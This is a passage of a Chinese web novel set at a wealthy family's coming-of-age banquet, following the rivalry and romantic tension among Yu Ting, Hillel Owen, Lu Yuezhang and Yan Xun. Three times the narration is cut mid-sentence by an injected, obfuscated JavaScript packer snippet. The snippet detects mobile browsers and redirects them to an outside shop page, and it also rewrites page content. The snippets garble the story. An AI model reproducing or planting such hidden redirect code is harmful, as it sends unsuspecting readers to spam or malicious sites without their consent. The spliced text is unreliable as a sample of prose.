虞听端起茶杯,抿了一口。 他们坐在落地窗边,余光能够看见一辆招摇的红色跑车开进院子,车头上方专门定做的欧文家族徽章即便在晚上也如夜明珠似的熠熠生辉。 虞听暗自舒了口气。 他就知道修罗场的另一个主角是何许人。任何一次争得头破血流的名场面里,“正牌”主角攻怎么可能缺席呢。 不用说,陆月章十有八九也会出现在今晚的索恩家宅邸。 由此看来,跑到茶室找索恩夫妇是个极其正确的决定。 即便不是为了挽救虞家的命运,哪怕是躲清闲,虞听也必须来拜见索恩夫妇。 虞听放下茶杯:“听尤尔说过,索恩先生在茶道方面很有研究。果然是好茶。” “闲来无事玩玩而已,”索恩先生哈哈一笑,眼睛却盯着虞听的眸子,“好茶需要慢慢品,这是我钻研茶艺之后学到最重要的一件事。若是心急,便品不出好茶真正的滋味。” 虞听:“原来如此,索恩先生,听说在参议院的第一轮投票中您投出了弃权票,想来这就是原因。” 索恩先生抚掌:“小听,你和以前不大一样了。” 虞听挑眉不语。 索恩先生与自己的妻子对视一眼,笑道:“说实话,孩子,从前尤尔一直说你品学兼优,但这样的三好学生我们见得多了,更何况我们从小看着你长大,你身体不好我们一直都知道,有时我甚至觉得,或许是因为这个缘故,你的性格始终温和有余,锐利不足……” “不过现在,你比以前有锋芒多了,不像个养尊处优的学生,倒像个阅历丰富、眼光毒辣的成年人。”索恩先生深望着他,“你的眼神不像一个二十岁的孩子了。” 虞听浅笑:“您过奖。” “改革法案是你父亲前半生的心血,如果不能争取足够的选票,不仅一切努力付之东流,或许他在战区的地位也会岌岌可危。”男人慢悠悠说完,顿了顿,“你代表你的父亲,你的家族来谈判,有什么筹码?” “法案本身就是筹码。”虞听说,“一旦改革推行,带来的利益就是家父许给所有人的承诺。” 索恩先生眯起眼睛。 “那就聊聊你父亲的法案。” 他语气微沉:“不过小听,我可要提醒你,一旦谈起正事,你可就不是我们眼里的那个孩子,更不是尤尔从小到大的朋友。现在离开茶室,你还可以和尤尔享受一个无忧无虑的宴会派对……但切实的家族利益面前,我不会对任何人网开一面。” 虞听弯了弯唇。 “求之不得,”他说,“索恩先生,我有信心说服您投上这一票。” 夫妇二人眼里同时闪过一丝惊诧,但索恩先生很快神色恢复如常,甚至看着虞听的目光里流露出隐隐的赞许。 “好,”男人意味深长道,“那就说说看吧。” * 半小时后。 一楼,晚宴大厅。 精致冷盘与醇香佳酿被撤下,奏响的圆舞曲宣告自助冷餐会结束。 舞池中央,成对的俊男靓女如静止的八音盒人偶,随着律动相拥,优雅地踩着舞步缓慢移动,翩翩起舞。 空气中弥漫着红酒与香薰蜡烛的名贵香气,令人闻之欲醉。 然而就在远离舞池的红酒吧。 “欧文少爷,幸会幸会!” 希莱尔倚在吧台边,腾出右手不耐烦地向过来攀谈的赛罗米尔学生挥了挥,随后将杯中最后一口红酒一饮而尽,放下酒杯。 被拒绝握手的学生尴尬地收回手,讪笑:“欧文少爷,怎么一个人跑到这里喝闷酒来了?” 希莱尔穿了一身墨绿色的双排扣西装,胸口鎏金的怀表链细细坠动。他身材高大,又穿了如此贵气闷骚的一身衣服,加之欧文家族的出身,想不引起别人注意都难。 偏偏瞩目的小少爷此刻神情阴郁,深邃立挺的眉宇间笼罩着一片乌云。 希莱尔在酒杯旁点了点,侍者不敢怠慢,立刻为其斟满。 “要不是看在索恩家族的面子上,这地方我根本不想踏足一步。” 希莱尔脸色阴沉得要滴出水来,说道。 若非今天心情苦闷,他根本不想搭理一个过来巴结他的无名之辈。对方也深谙这点,立马笑哈哈地打岔: “欧文少爷,听说一会儿索恩家会发表演讲,这之后就是惯例的舞会派对。实在无趣的话,找个借口离开就是了。” 希莱尔鼻腔里哼了一声。 “你来的时候看见虞听了吗?”他忽然问。 巴结者愣了愣:“您说那个和您不对付的虞听?” 希莱尔目光在舞池中央和边缘四处扫过,听到这话他目光闪烁了一下,拿起酒杯抿了一口。 巴结者想了想,道:“我想起来了,据说他好像刚一到这就去了三楼的茶室,应该是去拜访索恩家主和夫人。他们两家是世交,这么做也不意外……” 希莱尔不置可否,墨绿色瞳孔中阴鸷气息更加浓郁。 他的目光不经意间扫过舞池外某个角落,眼神为之一变,放下高脚杯:“虞……” 他凝眸仔细一看,紧绷的肩膀放松下来,竟显得有些泄气。随后他咬咬牙。 “这个混账,”希莱尔愤愤地骂了一句,“害得老子看错……” 巴结者也跟着张望:“诶,那不是一年级的特招生陆月章吗?这个陆月章怎么来了?” “还用说,”希莱尔瞥了他一眼,“当然是尤里乌斯·索恩这个道貌岸然的家伙邀请来的,只有他愿意摆出一副慈善家的嘴脸。” 两方都是惹不起的人物,巴结者不敢接话,唯有悻悻然赔笑。 不远处,陆月章穿着一身明显是租来的不合身西装,手足无措地在人群中勉强穿行,他边走边紧张地左顾右盼,生怕不小心踩到哪位大人物的鞋子或裙摆,又似乎在急切地寻找着谁,像极了和家人走散的小孩。 音乐声渐渐减弱。希莱尔口中诟病的“慈善家”在一片掌声中出现在二楼的室内露台,他一身白色西装,左手食指上那枚方形的家族徽章戒指在水晶吊灯的照耀下闪亮夺目。 “女士们,先生们,欢迎光临寒舍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711132|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”尤里乌斯向大家欠身行礼,“今天是我的成人礼,感谢各位在百忙之中抽出时间出席宴会,在舞会开始之前,请允许我代表索恩家族进行一个简短的致辞……” “伪君子。”希莱尔牙关里忿忿地挤出几个字。 旁边一直大气不敢出的巴结者忽然悄声提醒:“欧文少爷,你看!那不是虞听吗?” 希莱尔紧皱的眉头赫然舒展,猛地站直身子朝他指的方向看去。 同一时间。 虞听站在人群中,和其他所有人一样抬起头看着二楼的尤里乌斯侃侃而谈,不时跟着众人点头鼓掌。 不得不承认,尤里乌斯是个天生的演讲家。他的演说流利、清晰而动人,外形也一表人才,为了吸引宾客们的注意,宴会厅内的灯光甚至不知不觉中黯淡下来,只有一束特地改造过的追光精准地打在尤里乌斯身上,金发碧眼的青年看上去如天神般俊美不凡。 虞听的心思却全然不在于此。 黑暗中,他看见一个焦头烂额的身影终于找到了侧面的楼梯,在一个侍者无声的引领下走上二楼,来到距离尤里乌斯两米远的侧后方方才站定。 是陆月章。 如果把二楼露台上的这一切比作一场表演,那么尤里乌斯则是万众瞩目的男主角,而陆月章则是在“后台”听从调度的配角演员。 没人知道接下来的剧情——除了虞听。 他很清楚,一无所知的陆月章即将在被带上二楼后没多久,就被终于公开成为正式继承人的尤里乌斯高调宣布为自己的追求对象,从此彻底拉开与情敌希莱尔明争暗斗的序幕。 果然,虞听一边随众人拍着巴掌,一边听到尤里乌斯笑容满面地望着大厅的人们道: “最后,请允许我向大家介绍一个人,一个对于我,或许是对于整个索恩家族未来都十分重要的人物。” 尤里乌斯边说边抬起手,站在暗处等待的陆月章一愣,难以置信地指了指自己,直到旁边侍者轻轻推了他一把,陆月章才满脸半信半疑地走上前。 “女士们,先生们,”尤里乌斯看着陆月章带着一脸做梦般的表情就要走出阴影,笑道,“他就是——” 一个浑厚的男声忽然打断他:“尤尔。” 尤里乌斯话音戛然而止。 他惊讶地转身,看着不知何时走到他身边的父亲。 索恩家主拍拍自己儿子的后背:“今天是你的十八岁生日,就让我这个做父亲的说上两句吧。” 尤里乌斯张了张口,飞速看了一眼呆在暗处的陆月章,扯了扯嘴角:“好的父亲。” 他往后退了一步,站在自己父亲身侧。底下的宾客没有觉察出任何异常,只当这是一位父亲面对自己长大成人的儿子兴之所至想要发表感言。 宴会厅中,唯独虞听微微怔住。 就在几分钟前,他刚刚和这位索恩家主在军队改革法案的问题上达成一致,用索恩家入股一部分改革后的军工企业换取了这张极具政治号召力的选票。 可现在这种时刻,索恩先生为什么突然想要讲话? 来不及思考这个超出原书的剧情,虞听看着藏匿在露台后方阴影里的陆月章,又看向索恩先生,他们的目光恰好在此时相会。 看见索恩先生目光的一刻,虞听恍然大悟。 “尤尔说得对,这个小伙子的确对于索恩家族非常重要,事实上,他一直都是我和我的夫人所青睐的年轻人,一个可以承担起家族重担,在未来与索恩家族达成深度合作的战略伙伴。” 然而意识到一切也已经晚了,虞听刚想转身离开现场,忽然一道白光闪过,另一束追光打在虞听身上,与此同时,中年男人抬手向下一指,低沉有力的声音传遍整个宴会厅。 “虞家的家族继承者,”男人朗声宣布,“虞听先生!” 18.第 18 章 宴会厅内顿时议论纷纷。 “虞听?就是那个体弱多病的男孩?” “虞家和索恩家族交情一直很深,看来传言不假……” “上来吧,孩子,”索恩家主笑着对虞听招招手,满脸慈爱,“站到尤尔身边来。” 引导的侍者已经穿过人群来到身边,虞听只好跟着侍者,在众人瞩目下一步步迈上台阶。 虞听走上露台。陆月章躲在角落怯怯地望着他,而尤里乌斯则站在自己父亲身旁,难以置信地看着这一切,显然,这位名义上的继承人对于虞听和自己的父母达成了怎样的家族利益协定还一无所知。 待站到露台最前方,楼下宴会厅渐渐涌起一片压低的惊叹声。尽管听不清底下在说什么,虞听还是努力维持镇定,他刻意忽略尤里乌斯诧异的眼神,微笑着同索恩家主握手。 “多谢您,索恩先生。”虞听说。 露台下配合地鼓掌。 一片掌声中,远处的吧台边,希莱尔捏紧酒杯,骨节用力到发白。 “他在搞什么,”希莱尔恼怒地自言自语,“和一群虚与委蛇的人混在一起?” 他不经意向身边看了一眼,见那巴结自己的家伙睁大眼珠,眼睛快要黏在二楼的虞听身上,怒从心头起,杵了对方一拳:“看什么?” 巴结者疼得龇牙咧嘴,捂着胳膊:“嘶——没没没,欧文少爷,这虞听长得太白净,要我说哪有您帅气,有男人味啊……” 希莱尔低喝:“滚!” 巴结者识相地灰溜溜离开了。希莱尔定了定神,重新向露台上看去。 索恩家主正像个和蔼可亲的叔叔一样拍着虞听的肩膀,骄傲地讲述两个家族之间深厚的渊源;追光灯下青年的脸显得更加冷白如皎洁月色,及肩的乌黑长发在脑后简单束起,眉目与那一身素雅燕尾服一样疏冷浓黑,并不喧宾夺主的打扮却教人挪不开眼,人群中一眼便能锁定那纤尘不染的身影。 希莱尔忽然口干舌燥,他烦闷地灌下一口酒,与此同时听见索恩家主大声对在场所有人道: “各位,现在开始享受这个夜晚吧。祝大家玩得开心!” * 灯光亮起,舞会继续进行。 乐队一首接一首演奏美妙的圆舞曲。 但与此同时,宅邸的某些无人在意的角落,正在发生的事情却并不那么美妙。 “你就是特招生陆月章吧?” 陆月章后退两步,后背撞上墙壁。他的目光越过堵住自己的两个赛罗米尔学生,像远处的舞池中央望去。 请柬是尤里乌斯给他的,也是尤里乌斯答应陆月章,不管在宴会上遇到什么他没见过的事,尤里乌斯都会陪在他身边帮他处理。 但现在,成人礼的主人公正在舞池中间随着音乐节拍和一位教育司官员的女儿跳着双人舞,时不时有人穿过舞池,只为跑过来和这位小索恩先生打招呼,混一个脸熟。 “喂,和你说话呢,你是聋子吗?” 陆月章收回目光,看着面前粗声恶气的青年,一咬牙梗着脖子反问道:“是我,你想干什么?” “哦?脾气还蛮大的嘛!” 二人对视一眼,哈哈大笑,笑声很快被湮没在欢快的乐曲声中。 这其中一个人,正是不久前在希莱尔那里吃瘪的巴结者。只不过换了个场景,唯唯诺诺的巴结者此刻终于拥有姓名,摇身一变,成了以特招生们的家境无论如何也高攀不起的高家二公子。 “我说,来参加尤里乌斯的成人礼的怎么什么货色都有?”高二公子捅了捅哥们儿的胳膊,嘲笑道,“欧文少爷最讨厌你这张脸了,偏偏你还处处模仿和欧文少爷最不对付的虞听,简直连东施效颦都算不上!” “就是!”另一个附和,“陆同学,我说你现在好歹也是欧文少爷手底下的人,你抱着尤里乌斯·索恩这条腿有用吗?论容貌,家世,成绩,你哪点都比不上虞听,怎么还好意思当人家的假冒伪劣品?” “我和谁交往,和你们有什么关系!”陆月章生气了。 两个男生恶劣地大笑,高二公子上前一步:“交往?” 他阴阳怪气:“你那是交往吗?那是丢人现眼!” 仿佛想到刚刚上不得台面的遭遇,陆月章脸涨红了。 乐曲声越来越大,他不得不提高声音想要反驳:“我——” “人家虞听和尤里乌斯这种门当户对的才叫交往呢,你这连依附都算不上,顶多是个累赘,是个消遣!”高二公子冷嘲热讽,“还有,冒牌货,别再处处模仿虞听,别讨人嫌,听懂了没?” “够了!”陆月章攥紧拳头,“我不认识你们,请你们别来烦我,让开!” 陆月章说完就要走,高二公子不仅不让路,反而挑衅地伸出一根手指在陆月章肩膀上怼了怼:“陆月章,我是好言相劝,别当学人精。你以为这么做那个虞听就不会讨厌你,针对你吗?最后惹得一身骚的只有你自己。” “走开!”陆月章吼道。 他推开两个男生就往舞池那边尤里乌斯所在的方向跑,两个男生怎么会轻易放过他,立刻追上来将人扯住:“话没说完呢,你跑哪儿去!” 三个人撕扯在一起,陆月章急红了眼,慌乱中他一把挣脱出来,扭头就向门外跑—— 扑通一声闷响,陆月章眼前一黑,一屁股跌坐在地。 他捂着额头爬起身,抬头看去。 “虞先生!您没事吧?!” 远处一个听到动静的侍者连忙跑过来,将后退两步撞到大理石柱上的虞听搀住,同时接过虞听右手的香槟杯。杯子里的香槟洒了一身,淋淋漓漓弄湿了燕尾服的衣襟,湿透的黑色腰封紧贴在青年劲瘦的腰身,随着呼吸上下起伏。 追上来的那两个人也狠狠一愣:“虞……虞听?” 虞听低着头急促喘息,一手紧紧捂着小腹。车祸的伤口还没恢复完全,这一撞让他胃里翻江倒海,冷汗几乎瞬间冒出,顺着虞听的脸颊淌下,汇聚在苍白的下巴尖。 “没事,”他咽下吃痛的呻.吟,“麻烦扶我去……” 忽然一双手紧紧拉住他的胳膊,力道之大让虞听再也忍不住闷哼出声,眼尾激起薄红。 “虞学长对不起,”陆月章两眼红得像兔子,乞求地道,“我真的没有在刻意模仿学长,也没有想要越过你和尤里乌斯学长交往,这一切都只是巧合,学长,求你不要因为这些叫他们为难我好吗?” 虞听嘴唇一颤,虚弱地抬起头。 “为难,”虞听漆黑的瞳孔微微震颤,“我什么时候,为难过……” 为了应付社交随手拿的一杯香槟刚刚冰镇过,泼在身上透骨的凉,束起的发丝也在刚刚那一撞中散开,虞听想把脸侧垂落的发丝掖到耳后,陆月章却以为他要抽出手,反将他握得更紧。 “如果是因为上次扣分的事,或者是我和尤里乌斯学长走得太近的缘故,学长的警告我已经收到了,”陆月章道,“尤里乌斯学长邀请我参加晚宴,那时我什么也没多想,学长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720713|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我没想过与你,与任何人交恶——” “警告?” 低沉的男声从不远处传来。 除了虞听,在场所有人都浑身一震。 唯独虞听隐忍地吐了口气,阖上眼帘。 希莱尔·欧文两手插兜,英俊不羁的脸在变色的灯光中阵阵明暗变幻,墨绿色瞳孔愈发黯沉。 他嘴角浮现一个沾了戾气的弧度。 “你说虞听在‘警告’你吗,陆月章?”希莱尔散步一般慢慢走上前,每走一步,陆月章的身体便僵硬一分。 “说说看,陆学弟,虞听用了什么手段警告你?”希莱尔走到虞听身旁,却转过头,意味深长地看向那两个挑事的学生。 “难道是你们?”希莱尔尾音上扬。 “不不不!”二人立刻摆手,“欧文少爷,我们是实在看不惯这个陆月章明明是您的风纪部的人,却成天效仿虞听,在您眼皮底下晃来晃去……” “我认得你。”希莱尔盯着高二少爷,露出那个标志性的痞气笑容,“刚才在我身边转来转去的哈巴狗,原来是你。” 高二少爷脸顿时涨成了猪肝色。 希莱尔:“原来如此。你以为替我教训陆月章就算是替我出气,就能讨我欢心了……” 他声音一沉:“我想要教训谁,轮得着你这头蠢猪出手?” 姓高的仿佛被人用一根看不见的棍子一棍敲在脊梁上,点头哈腰地低下身:“是我冒昧了,欧文少爷——” “我不想再说第三遍,滚出去。”希莱尔冷冷道,“往后在赛罗米尔,看见老子记得绕路走。我不想再见到你们的脸。” 二人面露绝望,但还是鞠了一躬,转身屁滚尿流地跑开,很快不见踪影。 希莱尔回过头。 陆月章几乎下意识地放开了虞听的手臂。虞听后退半步,靠在大理石柱上,若不是不明情况的侍者还战战兢兢地在这搀着,恐怕他现在已经贴着柱子滑坐到地面。 “看见了吧,不是谁指使来的,而是两个自以为这样就能跑到我面前邀功的蠢货。” 希莱尔说。 虞听捂着小腹,一掀眼皮向希莱尔看去。 太奇怪了。刚刚这话根本不是希莱尔的作风,且不论他是个做事从不屑于向别人解释的性子,就算这么做,对象也绝不会是再平凡不过的陆月章。 这句话的确也使陆月章肉眼可见地松了口气,他点点头:“是我误会了,希莱尔学长,很抱歉……” “你应该向虞听道歉。”希莱尔打断他,“为你刚刚的道德绑架,无理取闹,以及你弄伤了他。” 陆月章尴尬地笑笑,转过身:“虞听学长,刚刚是我唐突。” “都过去吧,”虞听示意侍者不必继续扶着自己,艰难直起身,这次晚宴虞听唯一的目的早已达到,他巴不得现在就从混乱的现场抽身,“我去卫生间换衣服……” “我还没有说完。” 希莱尔突然出声,虞听停住脚步,侧过头,发现希莱尔正紧盯着错愕的陆月章,迟来地扬起一个有些阴鸷的笑。 陆月章也意识到什么,摸了摸自己的头顶,表情骤然一变。 方才撞到虞听时,他近来一直不离身的贝雷帽被撞掉了。 “有一点那两人确实没说错,”希莱尔的目光落在陆月章那一头和虞听长度几乎一模一样的头发上,“如此相像,的确越看越不爽。” “把头发剪掉,”希莱尔一字一顿,“我就承认你道歉的决心。” 19.第 19 章 陆月章愣在原地:“什……?” 希莱尔语气平静得不像平常那个喜怒不定的大少爷:“道歉就要拿出点诚意来。” 陆月章目光在虞听和希莱尔之间迟疑了两个来回,嘴唇的血色一点点褪尽。 远处圆舞曲的节拍愈发欢快、紧密,青年掌心却沁出汗珠。 “希莱尔学长,”陆月章声音颤抖,“我做不到。” “是么?那很遗憾了。” 希莱尔眼里闪过一丝玩味的光,他看了一眼虞听,目光短暂从虞听被香槟淋得湿透的胸口一扫而过。 “看来从前的小打小闹没能引起你足够重视。”希莱尔冷峻的脸上闪过一丝若有若无的狠戾神色,“我受够了一个——” 他伸出一只手指向虞听:“模仿虞听的赝品混迹于赛罗米尔学院。如果今天你非要继续留着和他差不多的头发,那么我保证,陆同学,明天你的名字就会出现在校董会的开除学生名单上。我说到做到。” 陆月章脸色立刻变得灰白。他僵硬地转过头,看着放在墙边小花坛上的一把剪刀。 虞听终于听不下去:“希莱尔。” “我在和我管理的风纪部的学生说话,”希莱尔生硬地拦下话头,眼神却可以没往虞听这边看,“不关你的事,前任风纪部长。” 虞听默了默,忽然轻轻叹出一口气。 “好吧。”虞听说。 希莱尔看也不看虞听,锋利的下颌线强撑似的紧绷着。 而陆月章满脸写着心如死灰。他咬紧后槽牙,手向剪刀伸去—— 却摸了个空。 虞听先陆月章一步将剪刀一把拿过来,另一只手抓过脑后束着的柔长黑发。 希莱尔呼吸一滞:“虞听!” 咔嚓一声。 剪短的黑发掉落在地,如散落一地的羽丝。 希莱尔和陆月章同时愣在原地。 舞池中央轮转的彩光闪过,照亮了虞听的脸,以及散落下来的短发,凌乱的额发散在虞听消瘦侧颊和光洁的额头。 他把剪刀随手一扔,当啷一声丢到地面。 “现在我们不一样了。”虞听那张毫无血色的脸冷淡地面向希莱尔,“也没有谁模仿谁这种说法。这下顺眼了吗?” 希莱尔险些无言以对:“你疯了——” 虞听再也懒得争辩,转过身,忍着胃里胃酸反流的灼烧感,扶着墙一步步走远。 二人怔怔地看着虞听离开的背影,过了一分钟之久,希莱尔才猛地回过神要追,陆月章拦住他: “希莱尔学长,你别找虞学长的麻烦……” “闪开!” 希莱尔一把搡开陆月章,迈开长腿三步并作两步追到方才虞听离开的走廊拐角,很快不见踪影。 * 客用卫生间内。 虞听拿着从路过吃惊的侍者那里借来的理发剪子,对着半身镜简单修剪了几下后面狼尾似的参差不齐的发尾,好在他还算手巧,总算勉强将发型恢复成看得过去的短发。 刚放下剪刀,下一秒,砰的一声! 门弹开又关上,希莱尔站在他一米远处,气喘吁吁的,瞳孔因为愤怒扭曲着幽绿的颜色,仿佛盯住猎物的狼王。 “虞听!”希莱尔脖颈暴起青筋,“你他妈简直不可理喻!” 虞听对着镜子照了照,拿过一条毛巾。 “比起靠着家世威胁开除特招生,我应该算是个温顺良民。”他解开衬衫上方第一颗扣子。 希莱尔怒极反笑:“我这么做是为了谁你难道不知道?虞听你别太过分!” 虞听又解开一颗扣子,闻言他停下动作,半侧过身。 他看着希莱尔:“我怎么记得有人说过,‘不关我的事’?” 希莱尔蓦地哽住。 半敞开胸口的衬衫里面一片细腻莹白,细长锁骨平直,灯光打下小片凹陷的阴影,如盛着的一汪小小的潭。 虞听也不转过身,就这么看着他,一边用毛巾随手擦拭被香槟淋湿的胸口。 希莱尔目光倏地躲开,双手握拳,用力到手背的青筋一路蜿蜒至结实小臂。 卫生间外面由远及近传来陌生人的交谈声,听声音与二人年龄相仿: “修学旅行马上就要开始了,今年去的地方据说有和风汤泉呢。” “唉,麻烦死了,回去之后还不是要提交一篇人文风情的报告,玩都玩不舒坦……” “索恩家可真大啊,简直要迷路了。那边是不是有个客用卫生间?” 希莱尔突然回手,咔哒一下将卫生间的门从内反锁。 虞听刚脱下腰封,掀起衬衫下摆,听到动静他停下来:“你做什么?” “我有话要问你。”希莱尔压着火。 “直接说不就好了,锁门干什么。而且非得在卫生间?” “你现在这幅样子被其他人看见也没关系吗?!”希莱尔一下子被点着了,他承认自己脾气爆,可每次和虞听说话不超过两分钟他就按捺不住,方寸大乱,“就这么衣衫不整的,让别人把你的腰和胸口都看光?还有头发,好端端的剪了干什么?” 虞听松开衣摆,衬衫落下来,挡住那只暴露在微凉空气中一秒不到的细韧腰肢。 “不好看吗。”他问。 希莱尔深深吸气:“重点不是——” 他喉结不受控制攒动,目光急剧划过虞听的脸。 虞听样貌并不阴柔,相反,那一头半长黑发中和了青年无关的疏离清冷,愈发衬托出他的书卷气质。剪短成蓬松的短发让虞听看起来更加利落干练,发丝不再遮挡脖颈,显得整个人更加修长俊美。 希莱尔心跳得胸口胀痛,那种酸涩感堵得他喘不过气来。 “为什么。”他低声问。 虞听不明白希莱尔哪来那么多为什么:“什么为什么?” “我问为什么你次次都要和我对着干!” 希莱尔火冒三丈,激动地一挥手:“从前你当风纪委员的时候就永远摆出一副铁面无私的样子,这也就罢了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725038|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你病了三个月,回到赛罗米尔之后我总感觉你好像哪里变了……” “可我错了,你依然像忽视空气一样忽视我,瞧不起我!我在你心里就那么顽劣,那么不可救药?!” 虞听道:“我从来没有瞧不起你,希莱尔。” “你明明就有!”希莱尔逼近一步,撑住洗手池,“你来参加索恩家的晚宴,还和林抚组队比赛!” “我家和索恩家族有几代的交情,至于林抚,”虞听轻哂,“什么时候你和他一样成绩优异,或许我能考虑与你合作。谁让你从不把心思放在学业上呢。” 希莱尔瞪着他,虞听对他挑了挑眉,低头准备将扣子系好,突然希莱尔一把死死攥住虞听的手腕,将人压在洗手池边! “希莱尔!”虞听一惊,“你放开——” 他想挣扎,可希莱尔另一只手撑着池边,将虞听困在这个由他身体构成的狭窄囚笼。 虞听后腰抵住冰冷大理石台边缘,坚硬的钝痛令他微微弓起身,漆黑瞳孔蒙上生理性的水雾。 希莱尔低头,凑近虞听苍白的脸。 “那燕寻呢?”他一字一顿,说。 虞听猝然睁开眼。 希莱尔看着那双眼尾泛红的眸子,忽然有些苦涩地笑了。 “你和四年级的燕寻订婚了,是真的吗?”希莱尔几乎是一个字一个字从齿关往外蹦,“你嘲讽我幼稚得像个宝宝,原来是因为你喜欢这种比你年龄大,比你更成熟的,是吗?” 他欺身压得更近,虞听不得不仰起头:“我什么都不喜欢。我和他,也没有什么婚约……!” “你不喜欢他?”希莱尔眼里短暂地亮了一下,表情却更加扭曲,“那为什么会和不喜欢的人订婚?难道为了家族利益你可以和任何人联姻?!” 虞听用力想抽出手:“无可奉告!” “你别想走!”希莱尔手上更加用力,青年腕子细瘦,腕骨坚硬凸起,被希莱尔捏得隐隐咯吱作响,“燕氏到底许诺给你什么了?你怎么知道他们能给你的,欧文家族就给不了?!” 虞听卯足了劲儿用力将希莱尔推开:“希莱尔·欧文!” 希莱尔踉跄后退两步,虞听捂着被捏得淤青的腕子深深弯下腰,痛得几乎要蹲在地上,希莱尔脸上狂躁的神色褪去几分,他上前一步:“让我看看……” “你给我滚!”虞听撑着洗手池起身,一把将他再次推开。 这一推力气和小猫儿没什么区别,可希莱尔还是愣在了原地。趁着这功夫虞听跌跌撞撞冲到门口,希莱尔这才反应过来:“我话还没问完——” 虞听拧开门锁将门拉开,他脑袋昏沉,重得抬不起头,却看见一双黑色的男士皮鞋出现在门外。 连身后希莱尔追过来的脚步都倏地刹住:“你——你怎么在这?” 虞听扶着门框,喘息着抬起头。 不偏不倚的,他的目光对上燕寻那双深邃黧黑的眼睛。 “小听,”燕寻对他伸出手,“时间不早了,我们走吧。” 20.第 20 章 空气凝结了。 希莱尔张口结舌,好半天才发出几个沙哑的音节:“燕寻?” “是燕寻学长。”燕寻上前一步,不动声色地将几乎腿软的虞听挡在身后,“无论校内校外,你都该这么称呼。” 希莱尔嘴角肌肉牵动,扯出一个阴恻恻的笑。 他站直身子,恢复往日那桀骜傲慢的模样。 “学长怎么不请自来?”希莱尔说。 燕寻看也不看虞听,单手将人揽过来。 虞听一怔,可他这幅身子太虚弱,稍微一点剧烈运动都能要了他的命,现下连反抗的力气都没有,只能任燕寻搂着他,借力勉强站稳,垂着头大口喘息。 燕寻的手牢牢扣住虞听最收窄的一段侧腰:“我和你一样收到了请柬,应该不算不请自来。” 希莱尔冷哼:“我指的是我和虞听同学的私人谈话。学长看不出来你打扰了别人?” 燕寻手臂从背后环着虞听那不堪一握的腰肢,渐渐收紧。 “因为我要接我的未婚伴侣回家。”燕寻说。 希莱尔嘴巴无意识地微微张开了。 “未,”他下巴颤抖了一下,“你们真的是未婚……” “如果没什么要紧事的话,我们就先告辞了。”燕寻平静地打断他,“虞听身子弱,要静心休养,晚睡会影响他的精神。再见,希莱尔学弟。” 说完他搂着虞听转身离开,希莱尔望着二人的背影,嘴唇微不可查地一颤。 “虞听,你究竟是从什么时候开始……” 他呢喃自语,却如同丢了魂儿一般,再也没有追上去的冲动。 燕寻揽着虞听走出索恩家族宅邸,替他拉开早就停在门外的劳斯劳斯魅影副驾驶车门。 虞听坐进车里,仰头靠在头枕上,半阖着眼睛。过了一会儿,主驾驶的门被打开,月光透过前挡风玻璃,照在虞听纸一般惨白的脸庞。 他单薄的眼皮轻微抖动,艰难掀开一道缝隙,偏头望向坐进车里的燕寻。 “怎么是你开车?”他虚弱地问。 燕寻倾身替他扣好安全带,骨节分明的大手轻轻蹭过虞听脸侧。 而后他抽身坐正,脱下风衣外套,盖在虞听身上。 “司机有事。”燕寻握住方向盘,目视前方,“我是临时过来索恩家的,想想还是不用劳烦他跑回来一趟。” 虞听把燕寻的外套拥进怀里,垂下眼帘:“你倒是个体贴的雇主。” 燕寻启动车子,短暂地瞥了虞听一眼。 “是谁泼了你一身的酒?”燕寻问。 车子驶出索恩家的别院,开始平稳加速。 虞听后知后觉地感觉到冷,身体不由自主地打摆子,他下意识攥紧了燕寻的风衣。 “我以为比起这个,你会先问为什么我换了个新发型。”虞听轻描淡写。 燕寻握紧方向盘。 “我不是有意偷听。”燕寻说,“不过希莱尔的声音实在太大,很难不注意到。” 虞听笑了笑,没说话。 汽车继续行驶,路灯暖黄色的光一轮一轮飞速在二人脸上闪过,模糊了他们的表情。 燕寻看了一眼后视镜,随后打开空调暖风。 “你为什么会来?”虞听轻声问,“当初你说过不喜欢参加这种社交活动。” “我的确不喜欢,”燕寻面无波澜,“母亲说让我一定代她转交给尤里乌斯·索恩的贺礼,维持两家的友谊,我不得不赶来。” 虞听:“哦,原来是这样。” 一阵沉默。 路灯有些晃眼,虞听阖上眼帘,暖气逐渐充盈车内,紧绷的神经一旦松懈下来,便让人昏昏欲睡。 今晚发生了太多事,他体质又弱,坚持到现在全凭那点精气神吊着。 只可惜上辈子没碰到燕寻这种有人性的雇主,虞听想,否则自己也不会习惯性地靠着意志力强撑,把好不容易大病初愈的身体搞成这副模样。 燕寻忽然又问:“你还没有告诉我,是谁向你泼酒。” 